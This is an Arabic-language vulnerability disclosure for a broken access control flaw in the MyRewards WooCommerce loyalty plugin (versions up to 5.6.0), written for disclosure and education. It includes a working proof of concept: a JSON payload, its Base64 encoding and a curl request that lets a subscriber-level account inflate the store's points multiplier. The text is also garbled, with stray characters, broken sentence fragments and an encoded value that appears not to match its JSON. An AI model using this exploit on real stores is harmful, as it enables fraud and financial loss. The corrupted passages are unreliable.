
تفويض مفقود / التحكم في الوصول المكسور في الإضافة - MyRewards – Loyalty Points and Rewards for WooCommerce
إخلاء مسؤولية: تم إنشاء هذا المستودع لأغراض تعليمية وكشف أخلاقي فقط. تم الإبلاغ عن الثغرة بشكل مسؤول إلى البائع وتم تصحيحها. لا تستخدم هذه المعلومات لاستغلال الأنظمة دون إذن مناسب.
تم اكتشاف ثغرة خطيرة في التحكم في الوصول / تصعيد الامتيازات في البرنامج المساعد MyRewards (WooRewards) لووكومرس (الإصدارات <= 5.6.0). يسمح هذا العيب لأي مستخدم مسجل الدخول، حتى أولئك ذوي الامتيازات البسيطة مثل المشتركين، بتجاوز التفويض وتعديل قواعد مكافآت المتجر الحساسة.
من خلال استغلال هذه الثغرة، يمكن للمهاجم تضخيم مضاعف نقاط الولاء الخاصة به إلى قيمة فلكية (على سبيل المثال، h999,999,999')، مما يسمح له بتجميع نقاط هائلة من عملية شراء صغيرة واحدة واستردادها للحصول على كوبونات أو منتجات مجانية، مما يؤدي إلى خسارة مالية مباشرة للمتجر.
<= 5.6.0يكمن السبب الجذري لهذه الثغرة في الفشل في تنفيذ فحوصات الصلاحية أو حماية CSRF على نقاط نهاية AJAX الحرجة التي تتعامل مع تعديلات قاعدة البيانات.
1. تسجيل AJAX غير المصرح به:
يستخدم البرنامج المساعد فئة تحكم عامة (EditlistControler) لإدارة عمليات CRUD. في editlistcontroler.php، يسجل إجراء AJAX editlist باستخدام ربط gwp_ajax_`، مما يجعله متاحًا لـ جميع المستخدمين المسجلين الدخول، بغض النظر عن دورهم:
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. غياب التفويض والتحقق من Nonce:
داخل طريقتي ajax() و accept()، يعالج الكود طلبات تغيير الحالة (مثل put للتحديث، del للحذف) بناءً فقط على إدخال المستخدم. يفتقد تمامًا استدعاءات current_user_can() و check_ajax_referer()، مما يعني عدم وجود تحقق مما إذا كان المستخدم لديه صلاحيات manage_woocommerce.
3. معالجة الحمولة الخطرة:
تقبل نقطة النهاية سلسلة JSON مشفرة بـ Base64 عبر المعامل line، والتي يتم فك تشفيرها وتمريرها مباشرة إلى طريقة EventList::write()p، مما يحفظ الإعدادات الخبيثة مباشرة في قاعدة البيانات:
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
توضح الخطوات التالية كيف يمكن لمشترك مصادق عليه استغلال هذا العيب.
مشترك.101) تسلسلي ويمكن تعداده بسهولة من خلال ملاحظة استجابات AJAX الإضافية.نريد تحديث مضاعف النقاط لمعرف القاعدة 101 إلى 999,999,999,999,999.
JSON الأولي
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
مشفر بـ Base64 ('قيمة line')
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
قم بتشغيل طلب CURL التالي كمستخدم منخفض الامتياز:
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1} لتأكيد التحديث.لإصلاح هذه المشكلة، قم بتحديث البرنامج المساعد MyRewards إلى أحدث إصدار مصحح. حل البائع المشكلة عن طريق:
current_user_can() داخل وحدة تحكم AJAX للتحقق من الامتيازات الإدارية.check_ajax_referer() للتحقق من nonces ومنع تزوير الطلب عبر المواقع (CSRF).سجل مختصر لعملية الإفصاح لإظهار اتباع المعايير الأخلاقية: